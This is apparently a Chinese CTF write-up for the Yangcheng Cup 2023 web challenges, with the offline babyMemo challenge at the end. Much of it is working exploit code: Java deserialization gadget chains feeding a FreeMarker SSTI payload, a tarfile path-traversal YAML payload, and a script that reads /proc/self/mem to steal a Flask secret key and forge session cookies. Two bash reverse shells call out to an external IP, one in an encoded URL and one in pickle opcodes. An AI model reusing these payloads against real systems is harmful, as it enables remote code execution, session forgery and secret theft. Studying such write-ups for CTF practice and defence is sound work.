羊城杯2023 wp

羊城杯2023 wp

前言

周末抽空陪学弟打了一下,深感web的无力。全程基本都是我、学长和正汰在做。。。
micgo已经润实战了,令人感慨。
但令人感到高兴的是,
这次比赛难度很适合我,太棒了,学到很多!
最后的战况是,差一道猜谜黑盒题就ak了

ez_java

法一

法一的灵感是jackson原生反序列化

BadAttributeValueExpException -> POJONode#toString ->HtmlInvocationHandler -》htmlMap

(用BadAttributeValueExpException -> POJONode#toString ->调用动态代理 ,一开始没想明白咋回事,POJONode不是调用类的任意getter方法吗,仔细一想,我丢,就是任意调用了htmlMap的get方法,只是中间隔了一层代理,通过代理调用而已。不过很骚的点就是这个代理是必要的,不能看它“好像”没用到就跳过,当然这题给了代理,明显想让你先调代理在调它,原因后面想想)

HtmlMap htmlMap = new HtmlMap();
htmlMap.content="<#assign ac=springMacroRequestContext.webApplicationContext>\n" +
        "  <#assign fc=ac.getBean('freeMarkerConfiguration')>\n" +
        "    <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" +
        "      <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(name)}";
htmlMap.filename="index.ftl";
HtmlInvocationHandler htmlInvocationHandler = new HtmlInvocationHandler(htmlMap);
Map proxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, htmlInvocationHandler);

// 删除 jsonNode 的 writeReplace,不删除会报错
try {
    ClassPool pool = ClassPool.getDefault();
    CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
    CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
    jsonNode.removeMethod(writeReplace);
    ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
    jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}

POJONode node = new POJONode(proxy);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setValue(val, "val", node);

覆写index.ftl, 利用freemarker ssti进行rce

/templating?name=bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJi9kZXYvdGNwLzguMTI5LjQyLjE0MC8zMzA3IDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D

image-20230902150028823

法二

法二的灵感是cc链 (yso-cc1)

截取yso的

image-20231011115546770

        HtmlMap htmlMap = new HtmlMap();
        htmlMap.content="<#assign ac=springMacroRequestContext.webApplicationContext>\n" +
                "  <#assign fc=ac.getBean('freeMarkerConfiguration')>\n" +
                "    <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" +
                "      <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(name)}";
        htmlMap.filename="index.ftl";

        HtmlInvocationHandler hih = new HtmlInvocationHandler();
        hih.obj = htmlMap;

        Map proxymap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},hih);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructors()[0];
        annotationInvocationHandlerConstruct.setAccessible(true);
        Object o = annotationInvocationHandlerConstruct.newInstance(Override.class, proxymap);

        serialize(o);
        base64encode_exp(o);

        unserialize("ser.bin");

关于动态代理

以前写过:JDK动态代理 介绍 – View of Thai

做这个题,前面应该很简单

        HtmlMap htmlMap = new HtmlMap();
        htmlMap.content="<#assign ac=springMacroRequestContext.webApplicationContext>\n" +
                "  <#assign fc=ac.getBean('freeMarkerConfiguration')>\n" +
                "    <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" +
                "      <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(name)}";
        htmlMap.filename="index.ftl";

        HtmlInvocationHandler htmlInvocationHandler = new HtmlInvocationHandler();
        htmlInvocationHandler.obj = htmlMap;

主要是题目这个方法比较特别

    @Override // java.lang.reflect.InvocationHandler
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        return this.obj.get(method.getName());
    }

要求选手记得动态代理的特征:继承了InvocationHandler

所以这个类也是代理类,那么选手就应该知道,method虽然可以被初始化的变量,但由于它在运行时可以被系统动态调用的

所以它的初始化写法是这样的:

Proxy.newProxyInstance(htmlMap.getClass().getClassLoader(), htmlMap.getClass().getInterfaces(),htmlInvocationHandler);

当时在这卡了好久,忘了初始化这个Method了,直接跳到下面去,虽然代码看上去没有标红,但是报空指针了错误了

我们看到cc相关的地方

        // 反射
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstruct.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruct.newInstance(Override.class, lazyMap);
        // 这部分是对AnnotationInvocationHandler的初始化 
        // 等同于 完善AnnotationInvocationHandler.readObject()

        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
        // 看到这里应该想到是动态代理在外部的调用
        // 动态代理是为被代理的类定制的,这里因为是lazymap,所以前后出现了lazyMap
        Object o = annotationInvocationHandlerConstruct.newInstance(Override.class, mapProxy);
        serialize(o);
        unserialize("ser.bin");

这里需要加深理解的是:mapProxy是LazyMap的动态代理,我们需要把它改为HtmlMap的动态代理

完整exp

        HtmlMap htmlMap = new HtmlMap();
        htmlMap.content="<#assign ac=springMacroRequestContext.webApplicationContext>\n" +
                "  <#assign fc=ac.getBean('freeMarkerConfiguration')>\n" +
                "    <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" +
                "      <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(name)}";
        htmlMap.filename="index.ftl";

        HtmlInvocationHandler htmlInvocationHandler = new HtmlInvocationHandler();
        htmlInvocationHandler.obj = htmlMap;

        Map o1 = (Map)Proxy.newProxyInstance(htmlMap.getClass().getClassLoader(), htmlMap.getClass().getInterfaces(), htmlInvocationHandler);

        // 反射
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstruct.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruct.newInstance(Override.class, o1);
        // 这部分是对AnnotationInvocationHandler的初始化
        // 等同于 完善AnnotationInvocationHandler.readObject()

        Map mapProxy = (Map) Proxy.newProxyInstance(HtmlMap.class.getClassLoader(), new Class[]{Map.class}, h);

        Object o = annotationInvocationHandlerConstruct.newInstance(Override.class, mapProxy);
        serialize(h);
        base64encode_exp(h);
        unserialize("ser.bin");

ez_yaml

https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall

https://blog.bi0s.in/2020/06/07/Web/Defenit20-TarAnalyzer/

import tarfile
import io

tar = tarfile.TarFile('shell.tar', 'w')

info = tarfile.TarInfo("../../config/shell.yaml")

deserialization_payload = '!!python/object/apply:os.system ["ls />templates/admin.html"]'

info.size=len(deserialization_payload)
info.mode=0o444 # So it cannot be overwritten

tar.addfile(info, io.BytesIO(deserialization_payload.encode()))
tar.close()

覆写templates/admin.html

访问/src?username=shell获得回显,后面换成cat /fllaagg_here就好

最后访问/src?username=cat即可

ArkNights

image-20231010234506143

image-20231010234520227

可以通过/proc/self/cmdlines读取SECRET_KEY

感觉要../

https://cloud.tencent.com/developer/article/2070182

mem可以读,注意end变量其实是偏移量,这里的命名有误导性

import requests
import re

url = "http://5000.endpoint-186d441962594e3c8527f0eca68d41b5.m.ins.cloud.dasctf.com:81/"

rw = []

map_list = requests.get(f"{url}/read?file=/proc/self/maps")
map_list = map_list.text.split("\n")
for i in map_list:
    map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
    if map_addr:
        start = int(map_addr.group(1), 16)
        end = int(map_addr.group(2), 16)
        print("Found rw addr:", start, "-", end)
        rw.append((start,end-start))

for k in rw:
    print("Test:" + str(k[0]) + "-" + str(k[1]) + "...")
    res = requests.get(f"{url}/read?file=/proc/self/mem&start={k[0]}&end={k[1]}")
    # print(res.text)
    if "Boogipopisweak" in res.text:
        try:
            # print(res.text)
            rt = re.findall(b"[a-z0-9]{8}\\*[a-z0-9]{4}\\*[a-z0-9]{4}\\*[a-z0-9]{4}\\*[a-z0-9]{12}", res.content)
            if rt:
                print(rt)

        except:
            pass

key

489a9bbc*84fb*41f2*b4d5*92a808455dec

直接flask session伪造要考虑时间戳(为啥以前有些不用?

t = base64.b64decode('ZPMPLw==')
int.from_bytes(t, "big")
1693650735

image-20231010234629750

看了一下时间戳是一样的

import hmac
import base64

def sign_flask(data, key, times):
    digest_method = 'sha1'

    def base64_decode(string):
        string = string.encode('utf8')
        string += b"=" * (-len(string) % 4)
        try:
            return base64.urlsafe_b64decode(string)
        except (TypeError, ValueError):
            raise print("Invalid base64-encoded data")

    def base64_encode(s):
        return base64.b64encode(s).replace(b'=', b'')

    salt = b'cookie-session'
    mac = hmac.new(key.encode("utf8"), digestmod=digest_method)
    mac.update(salt)
    key = mac.digest()

    msg = base64_encode(data.encode("utf8")) + b'.' + base64_encode(times.to_bytes(8, 'big'))
    data = hmac.new(key, msg=msg, digestmod=digest_method)
    hs = data.digest()
    # print(hs)
    # print(msg+b'.'+ base64_encode(hs))
    # print(int.from_bytes(times.to_bytes(8,'big'),'big'))
    return msg + b'.' + base64_encode(hs)

# base64_data = base64.b64encode(b'test')
# print(sign_flask('{"data":{" b":"' + base64_data.decode() + '"}}', 'b3876b37-f48e-49af-ab35-b12fe458a64b', 1893532360))

print(sign_flask('{"name":{"Dr.Boog1pop"}}', '489a9bbc*84fb*41f2*b4d5*92a808455decBoogipopisweak', 1693651400))

时间搓先提前弄一个值,然后就一直访问直到刚好达到那个时刻

image-20231010234701328

怎么绕exec呢?有过滤

怎么连引号‘和[]都过滤了

非预期

/proc/1/environ

image-20231010234942065

tmd居然非预期,扫了半天self和/proc根目录啥没有,在uid=1的进程泄露(

预期(待补充和复现)

flask_session_cookie_manager3.py (网上的脚本)

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key

if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e

if __name__ == "__main__":
    # Args are only relevant for __main__ usage

    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

exp.py

import re
import requests

from flask_session_cookie_manager3 import FSCM
proxies = {'http':'http://192.168.31.234:28080'}

url0 = "http://5000.endpoint-186d441962594e3c8527f0eca68d41b5.m.ins.cloud.dasctf.com:81"

def dump(start, end):
    r = requests.get(url=url0 + '/read?file=/proc/self/mem&start=%d&end=%d'%(start, end))
    data = r.content
    return data

def attack(key):
    print(key)
    session_data = "{'name':'Dr.Boog1pop', 'm1sery':'\"Dr.Boog1pop\", request.application.__globals__.__builtins__.__import__(\"os\").popen(request.args.c).read()'}"
    session_data = "{'name': 'Dr.Boog1pop'}" 
    cookie = FSCM.encode(key, session_data)
    print(cookie)
    code = "exec(\"session['name']=__import__('os').popen('id').read()\")"
    data = {'name':"eval(request.user_agent.__str__()).__class__.__str__", 
            "m1sery":"aaa"}
    r = requests.get(url0 , params=data, headers={'cookie':'session='+cookie, 'User-Agent':code})
    resp = r.cookies['session']
    print(FSCM.decode(resp).decode())
    #import code
    #code.interact(local=locals())

def main():
    r = requests.get(url=url0 + '/read?file=/proc/self/maps')
    lines = r.text.split('\n')
    for line in lines:
        line = line.strip()
        m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
        if m is None:
            continue
        if m.group(3) == 'r':  # if this is a readable region
            start = int(m.group(1), 16)
            end = int(m.group(2), 16)
            data = dump(start, end-start)

            mm = re.findall(rb'[a-zA-Z0-9*]{36}Boogipopisweak', data)
            for key in mm:
                attack(key.decode())
                return

main()

比较佩服的一点还是这个ssti

image-20231011200936702

python_rce

flask sessin伪造admin

python3 flask_session_cookie_manager3.py decode -c “”

python3 flask_session_cookie_manager3.py encode -t “” -s “”

/src0de读源码(提示在/ppppppppppick1e的headers里)

法一

pickle反序列化:

(S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
ios
system
.

python提权

import os os.setuid(0) os.system("cat /flag > /flag.txt")

法二

我的pickle反序列化exp是这样的

opcode=b'''c__builtin__
filter
p0
0(S'bash -c "bash -i >& /dev/tcp/8.129.42.140/3307 0>&1" '
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''

import base64
r = base64.b64encode(opcode)
print(r)

ezweb

/cmd.php

命令执行

可能是白名单?

只有whoami,多一个空格都不行

害,最后看题解是传so到etc目录,真就是比谁掌握的trick的共同点多(这次的共同点是上传)

原理:/etc/ld.so.preload,/etc/ld.so.preload 指定加载so的路径,后续执行任何命令都会像加载so

线下

没去,但是怀着学习的目的自己写了一下

babyMemo

break

环境搭建

docker run -p 8083:80 -v D:\study\phpStudy_64\phpstudy_pro\WWW\ycb:/var/www/html php:apache

记得index.php加个session_start();原题应该有的

题很好,一眼看出是sess反序列化伪造登录的操作

很快看到file_put_contents,所以一切都是围绕这里写session

思路很简单,写一个满足cat /flag的session即可 (因为递归删除../的原因没法写www目录写webshell)

sess文件的格式已经忘得差不多了,复习一下:

文件格式一般是sess_xxxxx

xxxx是26位十六进制数字,并且等于cookie的session_id

为了保证是这个文件格式,我们要让文件后缀为空,但是这里有过滤

image-20230913162129289

由于其他的后缀名是明确的,不可控的,所以看看这个

image-20230913162156219

意识到我们可以后缀名写为./,这样与签名的.拼接后可以被替换为空

除此之外,还要记得补齐sess_xxxx中xxx(即phpsession_id)的长度

image-20230913162306240

注意,内容是序列化文件的rot13

└─$ php -r "echo str_rot13('hfreanzr|f:4:"frff";nqzva|o:1;zrzbf|n:0:{}');"
username|s:4:sess;admin|b:1;memos|a:0:{}

是这个:hfreanzr|f:4:"frff";nqzva|o:1;zrzbf|n:0:{}

由于文件是username_xxx命名,所以我们需要使用sess

所以第一步,登录sess并且写一个序列化payload的rot13

image-20230913162614791

第二步是利用file_put_content写入无后缀文件sess_xxxx,伪造session

image-20230913162700477

记得补齐长度

这里会回显文件名,所以可以直接看到phpsess_id

可以看到写成功了

image-20230913162756150

接下来把自己cookie改成这个phpsess_id访问memo.php就好 (这里源码的cat /flag被我改为phpinfo了,总之原理理解就好)

image-20230913162841782

FIX

tel说禁用sess作为用户名

我感觉或许禁用./作为后缀会更好一点

if(strpos($compressionMethod, './') !== false){
    break;
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇